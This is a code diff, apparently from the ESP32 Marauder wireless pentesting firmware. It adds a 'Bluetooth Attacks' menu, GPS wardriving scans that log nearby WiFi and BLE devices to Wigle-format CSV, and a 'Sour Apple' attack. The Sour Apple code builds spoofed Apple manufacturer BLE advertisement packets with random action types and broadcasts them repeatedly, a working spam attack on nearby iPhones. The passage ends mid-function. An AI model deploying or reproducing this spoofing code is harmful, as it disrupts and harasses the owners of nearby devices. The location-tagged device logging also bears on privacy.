if ((wifi_scan_obj.currentScanMode == WIFI_SCAN_PROBE) ||
|
||||
(wifi_scan_obj.currentScanMode == WIFI_SCAN_STATION_WAR_DRIVE) ||
|
||||
(wifi_scan_obj.currentScanMode == WIFI_SCAN_RAW_CAPTURE) ||
|
||||
(wifi_scan_obj.currentScanMode == WIFI_SCAN_STATION) ||
|
||||
(wifi_scan_obj.currentScanMode == WIFI_SCAN_AP) ||
|
||||
(wifi_scan_obj.currentScanMode == WIFI_SCAN_WAR_DRIVE) ||
|
||||
(wifi_scan_obj.currentScanMode == WIFI_SCAN_EVIL_PORTAL) ||
|
||||
(wifi_scan_obj.currentScanMode == WIFI_SCAN_SIG_STREN) ||
|
||||
(wifi_scan_obj.currentScanMode == WIFI_SCAN_TARGET_AP) ||
|
||||
@@ -544,6 +551,9 @@ void MenuFunctions::main(uint32_t currentTime)
|
||||
(wifi_scan_obj.currentScanMode == WIFI_ATTACK_RICK_ROLL) ||
|
||||
(wifi_scan_obj.currentScanMode == WIFI_ATTACK_BEACON_LIST) ||
|
||||
(wifi_scan_obj.currentScanMode == BT_SCAN_ALL) ||
|
||||
(wifi_scan_obj.currentScanMode == BT_ATTACK_SOUR_APPLE) ||
|
||||
(wifi_scan_obj.currentScanMode == BT_SCAN_WAR_DRIVE) ||
|
||||
(wifi_scan_obj.currentScanMode == BT_SCAN_WAR_DRIVE_CONT) ||
|
||||
(wifi_scan_obj.currentScanMode == BT_SCAN_SKIMMERS) ||
|
||||
(wifi_scan_obj.currentScanMode == WIFI_SCAN_EAPOL) ||
|
||||
(wifi_scan_obj.currentScanMode == WIFI_SCAN_ACTIVE_EAPOL) ||
|
||||
@@ -1065,6 +1075,7 @@ void MenuFunctions::RunSetup()
|
||||
|
||||
// Bluetooth menu stuff
|
||||
bluetoothSnifferMenu.list = new LinkedList<MenuNode>();
|
||||
bluetoothAttackMenu.list = new LinkedList<MenuNode>();
|
||||
|
||||
// Settings stuff
|
||||
generateSSIDsMenu.list = new LinkedList<MenuNode>();
|
||||
@@ -1087,6 +1098,7 @@ void MenuFunctions::RunSetup()
|
||||
wifiAttackMenu.name = text_table1[21];
|
||||
wifiGeneralMenu.name = text_table1[22];
|
||||
bluetoothSnifferMenu.name = text_table1[23];
|
||||
bluetoothAttackMenu.name = "Bluetooth Attacks";
|
||||
generateSSIDsMenu.name = text_table1[27];
|
||||
clearSSIDsMenu.name = text_table1[28];
|
||||
clearAPsMenu.name = text_table1[29];
|
||||
@@ -1164,11 +1176,11 @@ void MenuFunctions::RunSetup()
|
||||
wifi_scan_obj.StartScan(WIFI_PACKET_MONITOR, TFT_BLUE);
|
||||
});
|
||||
#endif
|
||||
this->addNodes(&wifiSnifferMenu, text_table1[47], TFT_RED, NULL, PWNAGOTCHI, [this]() {
|
||||
/*this->addNodes(&wifiSnifferMenu, text_table1[47], TFT_RED, NULL, PWNAGOTCHI, [this]() {
|
||||
display_obj.clearScreen();
|
||||
this->drawStatusBar();
|
||||
wifi_scan_obj.StartScan(WIFI_SCAN_PWN, TFT_RED);
|
||||
});
|
||||
});*/
|
||||
this->addNodes(&wifiSnifferMenu, text_table1[49], TFT_MAGENTA, NULL, BEACON_SNIFF, [this]() {
|
||||
display_obj.clearScreen();
|
||||
this->drawStatusBar();
|
||||
@@ -1191,6 +1203,24 @@ void MenuFunctions::RunSetup()
|
||||
wifi_scan_obj.StartScan(WIFI_SCAN_SIG_STREN, TFT_CYAN);
|
||||
});
|
||||
#endif
|
||||
#ifdef HAS_GPS
|
||||
if (gps_obj.getGpsModuleStatus()) {
|
||||
this->addNodes(&wifiSnifferMenu, "Wardrive", TFT_GREEN, NULL, BEACON_SNIFF, [this]() {
|
||||
display_obj.clearScreen();
|
||||
this->drawStatusBar();
|
||||
wifi_scan_obj.StartScan(WIFI_SCAN_WAR_DRIVE, TFT_GREEN);
|
||||
});
|
||||
}
|
||||
#endif
|
||||
#ifdef HAS_GPS
|
||||
if (gps_obj.getGpsModuleStatus()) {
|
||||
this->addNodes(&wifiSnifferMenu, "Station Wardrive", TFT_ORANGE, NULL, PROBE_SNIFF, [this]() {
|
||||
display_obj.clearScreen();
|
||||
this->drawStatusBar();
|
||||
wifi_scan_obj.StartScan(WIFI_SCAN_STATION_WAR_DRIVE, TFT_ORANGE);
|
||||
});
|
||||
}
|
||||
#endif
|
||||
|
||||
// Build WiFi attack menu
|
||||
wifiAttackMenu.parentMenu = &wifiMenu; // Main Menu is second menu parent
|
||||
@@ -1345,6 +1375,9 @@ void MenuFunctions::RunSetup()
|
||||
this->addNodes(&bluetoothMenu, text_table1[31], TFT_YELLOW, NULL, SNIFFERS, [this]() {
|
||||
this->changeMenu(&bluetoothSnifferMenu);
|
||||
});
|
||||
this->addNodes(&bluetoothMenu, "Bluetooth Attacks", TFT_RED, NULL, ATTACKS, [this]() {
|
||||
this->changeMenu(&bluetoothAttackMenu);
|
||||
});
|
||||
|
||||
// Build bluetooth sniffer Menu
|
||||
bluetoothSnifferMenu.parentMenu = &bluetoothMenu; // Second Menu is third menu parent
|
||||
@@ -1356,12 +1389,37 @@ void MenuFunctions::RunSetup()
|
||||
this->drawStatusBar();
|
||||
wifi_scan_obj.StartScan(BT_SCAN_ALL, TFT_GREEN);
|
||||
});
|
||||
#ifdef HAS_GPS
|
||||
if (gps_obj.getGpsModuleStatus()) {
|
||||
this->addNodes(&bluetoothSnifferMenu, "BT Wardrive", TFT_CYAN, NULL, BLUETOOTH_SNIFF, [this]() {
|
||||
display_obj.clearScreen();
|
||||
this->drawStatusBar();
|
||||
wifi_scan_obj.StartScan(BT_SCAN_WAR_DRIVE, TFT_GREEN);
|
||||
});
|
||||
this->addNodes(&bluetoothSnifferMenu, "BT Wardrive Continuous", TFT_RED, NULL, REBOOT, [this]() {
|
||||
display_obj.clearScreen();
|
||||
this->drawStatusBar();
|
||||
wifi_scan_obj.StartScan(BT_SCAN_WAR_DRIVE_CONT, TFT_GREEN);
|
||||
});
|
||||
}
|
||||
#endif
|
||||
this->addNodes(&bluetoothSnifferMenu, text_table1[35], TFT_MAGENTA, NULL, CC_SKIMMERS, [this]() {
|
||||
display_obj.clearScreen();
|
||||
this->drawStatusBar();
|
||||
wifi_scan_obj.StartScan(BT_SCAN_SKIMMERS, TFT_MAGENTA);
|
||||
});
|
||||
|
||||
// Bluetooth Attack menu
|
||||
bluetoothAttackMenu.parentMenu = &bluetoothMenu; // Second Menu is third menu parent
|
||||
this->addNodes(&bluetoothAttackMenu, text09, TFT_LIGHTGREY, NULL, 0, [this]() {
|
||||
this->changeMenu(bluetoothAttackMenu.parentMenu);
|
||||
});
|
||||
this->addNodes(&bluetoothAttackMenu, "Sour Apple", TFT_GREEN, NULL, DEAUTH_SNIFF, [this]() {
|
||||
display_obj.clearScreen();
|
||||
this->drawStatusBar();
|
||||
wifi_scan_obj.StartScan(BT_ATTACK_SOUR_APPLE, TFT_GREEN);
|
||||
});
|
||||
|
||||
// Device menu
|
||||
deviceMenu.parentMenu = &mainMenu;
|
||||
this->addNodes(&deviceMenu, text09, TFT_LIGHTGREY, NULL, 0, [this]() {
|
||||
|
||||
@@ -144,6 +144,7 @@ class MenuFunctions
|
||||
|
||||
// Bluetooth menu stuff
|
||||
Menu bluetoothSnifferMenu;
|
||||
Menu bluetoothAttackMenu;
|
||||
|
||||
// Settings things menus
|
||||
Menu generateSSIDsMenu;
|
||||
|
||||
@@ -1,6 +1,7 @@
|
||||
#include "SDInterface.h"
|
||||
#include "lang_var.h"
|
||||
|
||||
|
||||
bool SDInterface::initSD() {
|
||||
#ifdef HAS_SD
|
||||
String display_string = "";
|
||||
@@ -20,8 +21,23 @@ bool SDInterface::initSD() {
|
||||
pinMode(SD_CS, OUTPUT);
|
||||
|
||||
delay(10);
|
||||
|
||||
if (!SD.begin(SD_CS)) {
|
||||
#if defined(MARAUDER_M5STICKC)
|
||||
/* Set up SPI SD Card using external pin header
|
||||
StickCPlus Header - SPI SD Card Reader
|
||||
3v3 - 3v3
|
||||
GND - GND
|
||||
G0 - CLK
|
||||
G36/G25 - MISO
|
||||
G26 - MOSI
|
||||
- CS (jumper to SD Card GND Pin)
|
||||
*/
|
||||
enum { SPI_SCK = 0, SPI_MISO = 36, SPI_MOSI = 26 };
|
||||
SPIClass SPI_EXT;
|
||||
SPI_EXT.begin(SPI_SCK, SPI_MISO, SPI_MOSI, SD_CS);
|
||||
if (!SD.begin(SD_CS, SPI_EXT)) {
|
||||
#else
|
||||
if (!SD.begin(SD_CS)) {
|
||||
#endif
|
||||
Serial.println(F("Failed to mount SD Card"));
|
||||
this->supported = false;
|
||||
return false;
|
||||
|
||||
@@ -18,54 +18,142 @@ extern "C" int ieee80211_raw_frame_sanity_check(int32_t arg, int32_t arg2, int32
|
||||
}
|
||||
|
||||
#ifdef HAS_BT
|
||||
//ESP32 Sour Apple by RapierXbox
|
||||
//Exploit by ECTO-1A
|
||||
NimBLEAdvertising *pAdvertising;
|
||||
|
||||
NimBLEAdvertisementData getOAdvertisementData() {
|
||||
NimBLEAdvertisementData randomAdvertisementData = NimBLEAdvertisementData();
|
||||
uint8_t packet[17];
|
||||
uint8_t size = 17;
|
||||
uint8_t i = 0;
|
||||
|
||||
packet[i++] = size - 1; // Packet Length
|
||||
packet[i++] = 0xFF; // Packet Type (Manufacturer Specific)
|
||||
packet[i++] = 0x4C; // Packet Company ID (Apple, Inc.)
|
||||
packet[i++] = 0x00; // ...
|
||||
packet[i++] = 0x0F; // Type
|
||||
packet[i++] = 0x05; // Length
|
||||
packet[i++] = 0xC1; // Action Flags
|
||||
const uint8_t types[] = { 0x27, 0x09, 0x02, 0x1e, 0x2b, 0x2d, 0x2f, 0x01, 0x06, 0x20, 0xc0 };
|
||||
packet[i++] = types[rand() % sizeof(types)]; // Action Type
|
||||
esp_fill_random(&packet[i], 3); // Authentication Tag
|
||||
i += 3;
|
||||
packet[i++] = 0x00; // ???
|
||||
packet[i++] = 0x00; // ???
|
||||
packet[i++] = 0x10; // Type ???
|
||||
esp_fill_random(&packet[i], 3);
|
||||
|
||||
randomAdvertisementData.addData(std::string((char *)packet, 17));
|
||||
return randomAdvertisementData;
|
||||
}
|
||||
|
||||
class bluetoothScanAllCallback: public BLEAdvertisedDeviceCallbacks {
|
||||
|
||||
void onResult(BLEAdvertisedDevice *advertisedDevice) {
|
||||
|
||||
#ifdef HAS_SCREEN
|
||||
int buf = display_obj.display_buffer->size();
|
||||
#else
|
||||
int buf = 0;
|
||||
#endif
|
||||
extern WiFiScan wifi_scan_obj;
|
||||
|
||||
//#ifdef HAS_SCREEN
|
||||
// int buf = display_obj.display_buffer->size();
|
||||
//#else
|
||||
int buf = 0;
|
||||
//#endif
|
||||
|
||||
String display_string = "";
|
||||
if (buf >= 0)
|
||||
{
|
||||
display_string.concat(text_table4[0]);
|
||||
display_string.concat(advertisedDevice->getRSSI());
|
||||
Serial.print(" RSSI: ");
|
||||
Serial.print(advertisedDevice->getRSSI());
|
||||
|
||||
display_string.concat(" ");
|
||||
Serial.print(" ");
|
||||
|
||||
Serial.print("Device: ");
|
||||
if(advertisedDevice->getName().length() != 0)
|
||||
if (wifi_scan_obj.currentScanMode == BT_SCAN_ALL) {
|
||||
if (buf >= 0)
|
||||
{
|
||||
display_string.concat(advertisedDevice->getName().c_str());
|
||||
Serial.print(advertisedDevice->getName().c_str());
|
||||
display_string.concat(text_table4[0]);
|
||||
display_string.concat(advertisedDevice->getRSSI());
|
||||
Serial.print(" RSSI: ");
|
||||
Serial.print(advertisedDevice->getRSSI());
|
||||
|
||||
}
|
||||
else
|
||||
{
|
||||
display_string.concat(advertisedDevice->getAddress().toString().c_str());
|
||||
Serial.print(advertisedDevice->getAddress().toString().c_str());
|
||||
}
|
||||
display_string.concat(" ");
|
||||
Serial.print(" ");
|
||||
|
||||
#ifdef HAS_SCREEN
|
||||
uint8_t temp_len = display_string.length();
|
||||
for (uint8_t i = 0; i < 40 - temp_len; i++)
|
||||
Serial.print("Device: ");
|
||||
if(advertisedDevice->getName().length() != 0)
|
||||
{
|
||||
display_string.concat(" ");
|
||||
display_string.concat(advertisedDevice->getName().c_str());
|
||||
Serial.print(advertisedDevice->getName().c_str());
|
||||
|
||||
}
|
||||
else
|
||||
{
|
||||
display_string.concat(advertisedDevice->getAddress().toString().c_str());
|
||||
Serial.print(advertisedDevice->getAddress().toString().c_str());
|
||||
}
|
||||
|
||||
Serial.println();
|
||||
#ifdef HAS_SCREEN
|
||||
uint8_t temp_len = display_string.length();
|
||||
for (uint8_t i = 0; i < 40 - temp_len; i++)
|
||||
{
|
||||
display_string.concat(" ");
|
||||
}
|
||||
|
||||
while (display_obj.printing)
|
||||
delay(1);
|
||||
display_obj.loading = true;
|
||||
display_obj.display_buffer->add(display_string);
|
||||
display_obj.loading = false;
|
||||
Serial.println();
|
||||
|
||||
while (display_obj.printing)
|
||||
delay(1);
|
||||
display_obj.loading = true;
|
||||
display_obj.display_buffer->add(display_string);
|
||||
display_obj.loading = false;
|
||||
#endif
|
||||
}
|
||||
}
|
||||
else if ((wifi_scan_obj.currentScanMode == BT_SCAN_WAR_DRIVE) || (wifi_scan_obj.currentScanMode == BT_SCAN_WAR_DRIVE_CONT)) {
|
||||
#ifdef HAS_GPS
|
||||
if (gps_obj.getGpsModuleStatus()) {
|
||||
bool do_save = false;
|
||||
if (buf >= 0)
|
||||
{
|
||||
Serial.print("Device: ");
|
||||
if(advertisedDevice->getName().length() != 0)
|
||||
{
|
||||
display_string.concat(advertisedDevice->getName().c_str());
|
||||
Serial.print(advertisedDevice->getName().c_str());
|
||||
|
||||
}
|
||||
else
|
||||
{
|
||||
display_string.concat(advertisedDevice->getAddress().toString().c_str());
|
||||
Serial.print(advertisedDevice->getAddress().toString().c_str());
|
||||
}
|
||||
|
||||
if (gps_obj.getFixStatus()) {
|
||||
do_save = true;
|
||||
display_string.concat(" | Lt: " + gps_obj.getLat());
|
||||
display_string.concat(" | Ln: " + gps_obj.getLon());
|
||||
}
|
||||
else {
|
||||
display_string.concat(" | GPS: No Fix");
|
||||
}
|
||||
|
||||
#ifdef HAS_SCREEN
|
||||
uint8_t temp_len = display_string.length();
|
||||
for (uint8_t i = 0; i < 40 - temp_len; i++)
|
||||
{
|
||||
display_string.concat(" ");
|
||||
}
|
||||
|
||||
Serial.println();
|
||||
|
||||
while (display_obj.printing)
|
||||
delay(1);
|
||||
display_obj.loading = true;
|
||||
display_obj.display_buffer->add(display_string);
|
||||
display_obj.loading = false;
|
||||
#endif
|
||||
|
||||
String wardrive_line = (String)advertisedDevice->getAddress().toString().c_str() + ",,[BLE]," + gps_obj.getDatetime() + ",0," + (String)advertisedDevice->getRSSI() + "," + gps_obj.getLat() + "," + gps_obj.getLon() + "," + gps_obj.getAlt() + "," + gps_obj.getAccuracy() + ",BLE\n";
|
||||
Serial.print(wardrive_line);
|
||||
|
||||
if (do_save)
|
||||
evil_portal_obj.addLog(wardrive_line, wardrive_line.length());
|
||||
}
|
||||
}
|
||||
#endif
|
||||
}
|
||||
}
|
||||
@@ -300,6 +388,8 @@ void WiFiScan::StartScan(uint8_t scan_mode, uint16_t color)
|
||||
StopScan(scan_mode);
|
||||
else if (scan_mode == WIFI_SCAN_PROBE)
|
||||
RunProbeScan(scan_mode, color);
|
||||
else if (scan_mode == WIFI_SCAN_STATION_WAR_DRIVE)
|
||||
RunProbeScan(scan_mode, color);
|
||||
else if (scan_mode == WIFI_SCAN_EVIL_PORTAL)
|
||||
RunEvilPortal(scan_mode, color);
|
||||
else if (scan_mode == WIFI_SCAN_EAPOL)
|
||||
@@ -310,6 +400,8 @@ void WiFiScan::StartScan(uint8_t scan_mode, uint16_t color)
|
||||
RunEapolScan(scan_mode, color);
|
||||
else if (scan_mode == WIFI_SCAN_AP)
|
||||
RunBeaconScan(scan_mode, color);
|
||||
else if (scan_mode == WIFI_SCAN_WAR_DRIVE)
|
||||
RunBeaconScan(scan_mode, color);
|
||||
else if (scan_mode == WIFI_SCAN_SIG_STREN)
|
||||
RunRawScan(scan_mode, color);
|
||||
else if (scan_mode == WIFI_SCAN_RAW_CAPTURE)
|
||||
@@ -350,6 +442,17 @@ void WiFiScan::StartScan(uint8_t scan_mode, uint16_t color)
|
||||
RunBluetoothScan(scan_mode, color);
|
||||
#endif
|
||||
}
|
||||
else if (scan_mode == BT_ATTACK_SOUR_APPLE) {
|
||||
#ifdef HAS_BT
|
||||
RunSourApple(scan_mode, color);
|
||||
#endif
|
||||
}
|
||||
else if ((scan_mode == BT_SCAN_WAR_DRIVE) ||
|
||||
(scan_mode == BT_SCAN_WAR_DRIVE_CONT)) {
|
||||
#ifdef HAS_BT
|
||||
RunBluetoothScan(scan_mode, color);
|
||||
#endif
|
||||
}
|
||||
else if (scan_mode == BT_SCAN_SKIMMERS) {
|
||||
#ifdef HAS_BT
|
||||
RunBluetoothScan(scan_mode, color);
|
||||
@@ -447,10 +550,11 @@ bool WiFiScan::shutdownWiFi() {
|
||||
bool WiFiScan::shutdownBLE() {
|
||||
#ifdef HAS_BT
|
||||
if (this->ble_initialized) {
|
||||
pAdvertising->stop();
|
||||
pBLEScan->stop();
|
||||
|
||||
pBLEScan->clearResults();
|
||||
BLEDevice::deinit();
|
||||
NimBLEDevice::deinit();
|
||||
|
||||
#ifdef MARAUDER_FLIPPER
|
||||
flipper_led.offLED();
|
||||
@@ -476,6 +580,8 @@ void WiFiScan::StopScan(uint8_t scan_mode)
|
||||
{
|
||||
if ((currentScanMode == WIFI_SCAN_PROBE) ||
|
||||
(currentScanMode == WIFI_SCAN_AP) ||
|
||||
(currentScanMode == WIFI_SCAN_WAR_DRIVE) ||
|
||||
(currentScanMode == WIFI_SCAN_STATION_WAR_DRIVE) ||
|
||||
(currentScanMode == WIFI_SCAN_EVIL_PORTAL) ||
|
||||
(currentScanMode == WIFI_SCAN_RAW_CAPTURE) ||
|
||||
(currentScanMode == WIFI_SCAN_STATION) ||
|
||||
@@ -504,6 +610,9 @@ void WiFiScan::StopScan(uint8_t scan_mode)
|
||||
|
||||
|
||||
else if ((currentScanMode == BT_SCAN_ALL) ||
|
||||
(currentScanMode == BT_ATTACK_SOUR_APPLE) ||
|
||||
(currentScanMode == BT_SCAN_WAR_DRIVE) ||
|
||||
(currentScanMode == BT_SCAN_WAR_DRIVE_CONT) ||
|
||||
(currentScanMode == BT_SCAN_SKIMMERS))
|
||||
{
|
||||
#ifdef HAS_BT
|
||||
@@ -569,6 +678,100 @@ String WiFiScan::getApMAC()
|
||||
return String(macAddrChr);
|
||||
}
|
||||
|
||||
bool WiFiScan::mac_cmp(struct mac_addr addr1, struct mac_addr addr2) {
|
||||
//Return true if 2 mac_addr structs are equal.
|
||||
for (int y = 0; y < 6 ; y++) {
|
||||
if (addr1.bytes[y] != addr2.bytes[y]) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
bool WiFiScan::seen_mac(unsigned char* mac) {
|
||||
//Return true if this MAC address is in the recently seen array.
|
||||
|
||||
struct mac_addr tmp;
|
||||
for (int x = 0; x < 6 ; x++) {
|
||||
tmp.bytes[x] = mac[x];
|
||||
}
|
||||
|
||||
for (int x = 0; x < mac_history_len; x++) {
|
||||
if (this->mac_cmp(tmp, this->mac_history[x])) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
void WiFiScan::save_mac(unsigned char* mac) {
|
||||
//Save a MAC address into the recently seen array.
|
||||
if (this->mac_history_cursor >= mac_history_len) {
|
||||
this->mac_history_cursor = 0;
|
||||
}
|
||||
struct mac_addr tmp;
|
||||
for (int x = 0; x < 6 ; x++) {
|
||||
tmp.bytes[x] = mac[x];
|
||||
}
|
||||
|
||||
this->mac_history[this->mac_history_cursor] = tmp;
|
||||
this->mac_history_cursor++;
|
||||
}
|
||||
|
||||
String WiFiScan::security_int_to_string(int security_type) {
|
||||
//Provide a security type int from WiFi.encryptionType(i) to convert it to a String which Wigle CSV expects.
|
||||
String authtype = "";
|
||||
|
||||
switch (security_type) {
|
||||
case WIFI_AUTH_OPEN:
|
||||
authtype = "[OPEN]";
|
||||
break;
|
||||
|
||||
case WIFI_AUTH_WEP:
|
||||
authtype = "[WEP]";
|
||||
break;
|
||||
|
||||
case WIFI_AUTH_WPA_PSK:
|
||||
authtype = "[WPA_PSK]";
|
||||
break;
|
||||
|
||||
case WIFI_AUTH_WPA2_PSK:
|
||||
authtype = "[WPA2_PSK]";
|
||||
break;
|
||||
|
||||
case WIFI_AUTH_WPA_WPA2_PSK:
|
||||
authtype = "[WPA_WPA2_PSK]";
|
||||
break;
|
||||
|
||||
case WIFI_AUTH_WPA2_ENTERPRISE:
|
||||
authtype = "[WPA2]";
|
||||
break;
|
||||
|
||||
//Requires at least v2.0.0 of https://github.com/espressif/arduino-esp32/
|
||||
case WIFI_AUTH_WPA3_PSK:
|
||||
authtype = "[WPA3_PSK]";
|
||||
break;
|
||||
|
||||
case WIFI_AUTH_WPA2_WPA3_PSK:
|
||||
authtype = "[WPA2_WPA3_PSK]";
|
||||
break;
|
||||
|
||||
case WIFI_AUTH_WAPI_PSK:
|
||||
authtype = "[WAPI_PSK]";
|
||||
break;
|
||||
|
||||
default:
|
||||
authtype = "[UNDEFINED]";
|
||||
}
|
||||
|
||||
return authtype;
|
||||
}
|
||||
|
||||
void WiFiScan::clearMacHistory() {
|
||||
for (int i = 0; i < mac_history_len; ++i) {
|
||||
memset(this->mac_history[i].bytes, 0, sizeof(mac_history[i].bytes));
|
||||
}
|
||||
}
|
||||
|
||||
String WiFiScan::freeRAM()
|
||||
{
|
||||
@@ -1193,13 +1396,105 @@ void WiFiScan::RunPwnScan(uint8_t scan_mode, uint16_t color)
|
||||
initTime = millis();
|
||||
}
|
||||
|
||||
void WiFiScan::executeSourApple() {
|
||||
#ifdef HAS_BT
|
||||
delay(40);
|
||||
NimBLEAdvertisementData advertisementData = getOAdvertisementData();
|
||||
pAdvertising->setAdvertisementData(advertisementData);
|
||||
pAdvertising->start();
|
||||
delay(20);
|
||||
pAdvertising->stop();
|
||||
#endif
|
||||
}
|
||||
|
||||
void WiFiScan::executeWarDrive() {
|
||||
#ifdef HAS_GPS
|
||||
if (gps_obj.getGpsModuleStatus()) {
|
||||
bool do_save;
|
||||
String display_string;
|
||||
|
||||
while (WiFi.scanComplete() == WIFI_SCAN_RUNNING) {
|
||||
Serial.println("Scan running...");
|
||||
delay(500);
|
||||
}
|
||||
|
||||
int n = WiFi.scanNetworks(false, true, false, 110, this->set_channel);
|
||||
|
||||
if (n > 0) {
|
||||
for (int i = 0; i < n; i++) {
|
||||
display_string = "";
|
||||
do_save = false;
|
||||
uint8_t *this_bssid_raw = WiFi.BSSID(i);
|
||||
char this_bssid[18] = {0};
|
||||
sprintf(this_bssid, "%02X:%02X:%02X:%02X:%02X:%02X", this_bssid_raw[0], this_bssid_raw[1], this_bssid_raw[2], this_bssid_raw[3], this_bssid_raw[4], this_bssid_raw[5]);
|
||||
|
||||
if (this->seen_mac(this_bssid_raw))
|
||||
continue;
|
||||
|
||||
this->save_mac(this_bssid_raw);
|
||||
|
||||
String ssid = WiFi.SSID(i);
|
||||
ssid.replace(",","_");
|
||||
|
||||
if (ssid != "") {
|
||||
display_string.concat(ssid);
|
||||
}
|
||||
else {
|
||||
display_string.concat(this_bssid);
|
||||
}
|
||||
|
||||
if (gps_obj.getFixStatus()) {
|
||||
do_save = true;
|
||||
display_string.concat(" | Lt: " + gps_obj.getLat());
|
||||
display_string.concat(" | Ln: " + gps_obj.getLon());
|
||||
}
|
||||
else {
|
||||
display_string.concat(" | GPS: No Fix");
|
||||
}
|
||||
|
||||
int temp_len = display_string.length();
|
||||
|
||||
#ifdef HAS_SCREEN
|
||||
for (int i = 0; i < 40 - temp_len; i++)
|
||||
{
|
||||
display_string.concat(" ");
|
||||
}
|
||||
|
||||
display_obj.display_buffer->add(display_string);
|
||||
#endif
|
||||
|
||||
|
||||
String wardrive_line = WiFi.BSSIDstr(i) + "," + ssid + "," + this->security_int_to_string(WiFi.encryptionType(i)) + "," + gps_obj.getDatetime() + "," + (String)WiFi.channel(i) + "," + (String)WiFi.RSSI(i) + "," + gps_obj.getLat() + "," + gps_obj.getLon() + "," + gps_obj.getAlt() + "," + gps_obj.getAccuracy() + ",WIFI\n";
|
||||
Serial.print((String)this->mac_history_cursor + " | " + wardrive_line);
|
||||
|
||||
evil_portal_obj.addLog(wardrive_line, wardrive_line.length());
|
||||
}
|
||||
}
|
||||
this->channelHop();
|
||||
|
||||
// Free up that memory, you sexy devil
|
||||
WiFi.scanDelete();
|
||||
}
|
||||
#endif
|
||||
}
|
||||
|
||||
// Function to start running a beacon scan
|
||||
void WiFiScan::RunBeaconScan(uint8_t scan_mode, uint16_t color)
|
||||
{
|
||||
#ifdef WRITE_PACKETS_SERIAL
|
||||
buffer_obj.open();
|
||||
#elif defined(HAS_SD)
|
||||
sd_obj.openCapture("beacon");
|
||||
if (scan_mode == WIFI_SCAN_AP)
|
||||
sd_obj.openCapture("beacon");
|
||||
else if (scan_mode == WIFI_SCAN_WAR_DRIVE) {
|
||||
#ifdef HAS_GPS
|
||||
if (gps_obj.getGpsModuleStatus()) {
|
||||
sd_obj.openLog("wardrive");
|
||||
String header_line = "WigleWifi-1.4,appRelease=" + (String)MARAUDER_VERSION + ",model=ESP32 Marauder,release=" + (String)MARAUDER_VERSION + ",device=ESP32 Marauder,display=SPI TFT,board=ESP32 Marauder,brand=JustCallMeKoko\nMAC,SSID,AuthMode,FirstSeen,Channel,RSSI,CurrentLatitude,CurrentLongitude,AltitudeMeters,AccuracyMeters,Type\n";
|
||||
evil_portal_obj.addLog(header_line, header_line.length());
|
||||
}
|
||||
#endif
|
||||
}
|
||||
#else
|
||||
return;
|
||||
#endif
|
||||
@@ -1222,25 +1517,41 @@ void WiFiScan::RunBeaconScan(uint8_t scan_mode, uint16_t color)
|
||||
display_obj.tft.setTextColor(TFT_WHITE, color);
|
||||
#ifdef HAS_ILI9341
|
||||
display_obj.tft.fillRect(0,16,240,16, color);
|
||||
display_obj.tft.drawCentreString(text_table4[38],120,16,2);
|
||||
if (scan_mode == WIFI_SCAN_AP)
|
||||
display_obj.tft.drawCentreString(text_table4[38],120,16,2);
|
||||
else if (scan_mode == WIFI_SCAN_WAR_DRIVE) {
|
||||
this->clearMacHistory();
|
||||
display_obj.tft.drawCentreString("Wardrive", 120, 16, 2);
|
||||
}
|
||||
display_obj.touchToExit();
|
||||
#endif
|
||||
display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
|
||||
display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
|
||||
#endif
|
||||
|
||||
esp_wifi_init(&cfg);
|
||||
esp_wifi_set_storage(WIFI_STORAGE_RAM);
|
||||
esp_wifi_set_mode(WIFI_MODE_NULL);
|
||||
esp_wifi_start();
|
||||
esp_wifi_set_promiscuous(true);
|
||||
esp_wifi_set_promiscuous_filter(&filt);
|
||||
esp_wifi_set_promiscuous_rx_cb(&beaconSnifferCallback);
|
||||
esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
|
||||
if (scan_mode != WIFI_SCAN_WAR_DRIVE) {
|
||||
|
||||
esp_wifi_init(&cfg);
|
||||
esp_wifi_set_storage(WIFI_STORAGE_RAM);
|
||||
esp_wifi_set_mode(WIFI_MODE_NULL);
|
||||
esp_wifi_start();
|
||||
esp_wifi_set_promiscuous(true);
|
||||
esp_wifi_set_promiscuous_filter(&filt);
|
||||
esp_wifi_set_promiscuous_rx_cb(&beaconSnifferCallback);
|
||||
esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
|
||||
}
|
||||
else {
|
||||
this->startWardriverWiFi();
|
||||
}
|
||||
this->wifi_initialized = true;
|
||||
initTime = millis();
|
||||
}
|
||||
|
||||
void WiFiScan::startWardriverWiFi() {
|
||||
WiFi.mode(WIFI_STA);
|
||||
WiFi.disconnect();
|
||||
}
|
||||
|
||||
void WiFiScan::RunStationScan(uint8_t scan_mode, uint16_t color)
|
||||
{
|
||||
#ifdef WRITE_PACKETS_SERIAL
|
||||
@@ -1393,7 +1704,17 @@ void WiFiScan::RunProbeScan(uint8_t scan_mode, uint16_t color)
|
||||
#ifdef WRITE_PACKETS_SERIAL
|
||||
buffer_obj.open();
|
||||
#elif defined(HAS_SD)
|
||||
sd_obj.openCapture("probe");
|
||||
if (scan_mode == WIFI_SCAN_PROBE)
|
||||
sd_obj.openCapture("probe");
|
||||
else if (scan_mode == WIFI_SCAN_STATION_WAR_DRIVE) {
|
||||
#ifdef HAS_GPS
|
||||
if (gps_obj.getGpsModuleStatus()) {
|
||||
sd_obj.openLog("station_wardrive");
|
||||
String header_line = "WigleWifi-1.4,appRelease=" + (String)MARAUDER_VERSION + ",model=ESP32 Marauder,release=" + (String)MARAUDER_VERSION + ",device=ESP32 Marauder,display=SPI TFT,board=ESP32 Marauder,brand=JustCallMeKoko\nMAC,SSID,AuthMode,FirstSeen,Channel,RSSI,CurrentLatitude,CurrentLongitude,AltitudeMeters,AccuracyMeters,Type\n";
|
||||
evil_portal_obj.addLog(header_line, header_line.length());
|
||||
}
|
||||
#endif
|
||||
}
|
||||
#else
|
||||
return;
|
||||
#endif
|
||||
@@ -1435,6 +1756,31 @@ void WiFiScan::RunProbeScan(uint8_t scan_mode, uint16_t color)
|
||||
initTime = millis();
|
||||
}
|
||||
|
||||
void WiFiScan::RunSourApple(uint8_t scan_mode, uint16_t color) {
|
||||
#ifdef HAS_BT
|
||||
NimBLEDevice::init("");
|
||||
NimBLEServer *pServer = NimBLEDevice::createServer();
|
||||
|
||||
